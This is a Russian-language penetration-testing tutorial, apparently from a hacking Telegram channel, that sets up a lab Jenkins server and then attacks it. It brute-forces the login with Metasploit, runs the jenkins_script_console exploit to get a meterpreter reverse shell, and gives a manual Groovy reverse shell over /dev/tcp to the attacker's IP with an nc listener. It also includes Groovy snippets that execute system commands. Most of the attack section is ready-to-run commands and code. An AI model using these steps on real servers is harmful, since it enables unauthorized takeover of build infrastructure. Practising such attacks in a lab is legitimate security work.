Jenkins — это open-source сервер автоматизации, используемый для непрерывной интеграции (CI) и непрерывной доставки (CD), написанный на Java. Jenkins автоматизирует задачи, такие как сборка, тестирование и развертывание в процессе разработки ПО. Эта автоматизация ускоряет циклы разработки, повышает качество кода и упрощает релизы. Ключевые возможности —  CI/CD, автоматизированное тестирование, интеграция с системами контроля версий, расширяемость за счет плагинов и мощный мониторинг и отчётность.

Ещё больше познавательного контента в Telegram-канале — Life-Hack - Хакер

Содержание

- Подготовка лаборатории  

- Установка  

- Конфигурация  

- Перебор  

- Эксплуатация с помощью Metasploit Framework  

- Ручная эксплуатация (Reverse Shell)  

- Выполнение команд напрямую  

- Заключение  

Подготовка лаборатории

В этой статье мы настроим сервер Jenkins на машине с Ubuntu и получим удаленное выполнение кода. Воспользуемся следующими устройствами:

Целевая машина: Ubuntu (192.168.1.4)  

Машина атакующего: Kali Linux (192.168.1.7)

Установка

Для работы Jenkins нам потребуется Java Runtime Environment (JRE). В этом руководстве мы будем использовать OpenJDK, который включает в свой состав JRE.

apt install openjdk-11-jdk

В стандартном репозитории Ubuntu может отсутствовать самая новая версия Jenkins, поэтому рекомендуется использовать репозиторий, поддерживаемый проектом Jenkins. Тут вы найдете новейшие функции и исправления.

Для добавления репозитория Jenkins в систему Ubuntu выполните следующее:

Сначала импортируйте GPG-ключ для обеспечения целостности пакетов.

sudo curl -fsSL https://pkg.jenkins.io/debian-stable/jenkins.io-2023.key | sudo tee /usr/share/keyrings/jenkins-keyring.asc > /dev/null

Затем добавьте к списку источников репозиторий Jenkins и добавьте ключ аутентификации с помощью следующей команды:

sudo echo deb [signed-by=/usr/share/keyrings/jenkins-keyring.asc] https://pkg.jenkins.io/debian-stable binary/ | sudo tee /etc/apt/sources.list.d/jenkins.list > /dev/null

Теперь можно приступать к установке Jenkins.

apt install jenkins

После завершения установки, Jenkins можно запустить с помощью следующей команды:

systemctl start jenkins

Проверить статус можно с помощью следующей команды:

systemctl status jenkins

Конфигурация

После установки Jenkins нужно настроить для корректной работы. При открытии сервиса, запущенного на порту 8080, мы видим, что Jenkins требует пароль администратора.

Пароль можно получить, прочитав содержимое файла initialAdminPassword.

cat /var/lib/Jenkins/secrets/initialAdminPassword

Выберите Install suggested plugins, чтобы настроить Jenkins, и продолжайте установку.

На последнем этапе требуется создать администратора, указав имя пользователя и пароль. В данном случае мы используем имя пользователя raj и пароль 123.

Введите URL для доступа к серверу Jenkins. В нашем случае URL можно указать как http://192.168.1.4:8080/.

Перебор

После успешной установки и настройки сервера мы можем приступить к эксплуатации с помощью Kali. Начинаем с перебора: поскольку Jenkins работает на порту 8080, проверяем именно этот порт. На порту 8080 открывается страница входа Jenkins, для доступа к которой требуются учетные данные.

Эксплуатация с использованием Metasploit Framework

Поскольку страница входа требует учетные данные, можно воспользоваться вспомогательным модулем, доступным в Metasploit Framework, чтобы найти валидное имя пользователя и пароль для входа. Модуль, который мы будем использовать, требует файл с именами пользователей и файл с паролями.

Стоит отметить, что для CTF-сценариев в качестве файла с именами пользователей можно использовать общий список популярных имен, а для паролей — файл rockyou.txt. Однако в данном случае для упрощения сканирования мы используем собственный словарь. Внутри Metasploit Framework можно использовать следующие команды:

use auxiliary/scanner/http/jenkins_login

set rhosts 192.168.1.4

set rport 8080

set targeturi /

set user_file users.txt

set pass_file passwords.txt

set verbose false

exploit

Обратите внимание, что валидное имя пользователя и пароль были успешно найдены. Теперь их можно использовать для эксплуатации. В данном случае можно применить эксплойт exploit/multi/http/jenkinsscriptconsole. Для запуска эксплойта в Metasploit Framework используйте следующие команды:

use exploit/multi/http/jenkins_script_console

show targets

set target 1

set payload linux/x64/meterpreter/reverse_tcp

set rhosts 192.168.1.4

set rport 8080

set targeturi /

set username raj

set password 123

exploit

Обратите внимание, что после успешного выполнения эксплойта был получен reverse shell.

Ручная эксплуатация (Reverse Shell)  

Чтобы выполнить эксплуатацию вручную, необходимы имя пользователя и пароль от консоли Jenkins. Предполагается, что атакующий уже получил учетные данные либо с помощью перебора, либо другим способом, и может успешно войти в консоль.

После входа с ранее найденными учетными данными (raj:123), можно получить доступ к разделу Manage Jenkins, в котором находится функция Script Console.

В Jenkins основным языком сценариев для создания заданий и пайплайнов является Groovy. Groovy — это динамический язык, работающий на виртуальной машине Java (JVM), что позволяет ему легко интегрироваться с Jenkins. Поэтому для получения обратной оболочки мы будем использовать скрипт на groovy. Команду для groovy reverse shell можно получить по следующей ссылке, выбрав там полезную нагрузку Groovy script payload.

Теперь используем вышеуказанный скрипт groovy reverse shell в консоли скриптов Jenkins. Перед запуском скрипта убедитесь, что вы запустили netcat-листенер на порту 443 на Kali с помощью следующей команды

rlwrap nc -lnvp 443

В итоге, после запуска вышеуказанного groovy-скрипта, обратная оболочка была получена на 443 порту.

Альтернативный способ получить обратную оболочку — выполнить следующий скрипт в консоли скриптов:

r = Runtime.getRuntime()

p = r.exec(["/bin/bash", "-c", "exec 5<>/dev/tcp/192.168.1.7/443; cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])

p.waitFor()

Обязательно запустите прослушиватель на 443 порту перед запуском скрипта.

Обратите внимание, что обратная оболочка будет получена на 443 порт после выполнения скрипта.

Выполнение команд напрямую

Бывают случаи, когда у нас нет слушателя для получения обратной оболочки. В таких случаях мы можем напрямую запустить скрипт и получить вывод кода в окне результатов.

Следующий код используется для получения результата выполнения системных команд:

def sout = new StringBuffer(), serr = new StringBuffer()

def proc = 'ipconfig'.execute()

proc.consumeProcessOutput(sout, serr)

proc.waitForOrKill(1000)

println "out> $sout err> $serr"

Обратите внимание, что после запуска скрипта вывод можно увидеть непосредственно в окне Result.

Другой вариант, который можно использовать для получения вывода команды в окне Result:

def proc = "id".execute();

def os = new StringBuffer();

proc.waitForProcessOutput(os, System.err);

println(os.toString());


Заключение

Возможность использования серверов Jenkins для получения обратного шелла подчеркивает важность строгих мер безопасности. Данная статья отлично показывает, почему к обеспечению безопасности серверов Jenkins нужно относиться серьезно. Организациям необходимо регулярно проводить проверки безопасности и своевременно обновлять системы, чтобы снизить риск несанкционированного доступа.

Ещё больше познавательного контента в Telegram-канале — Life-Hack - Хакер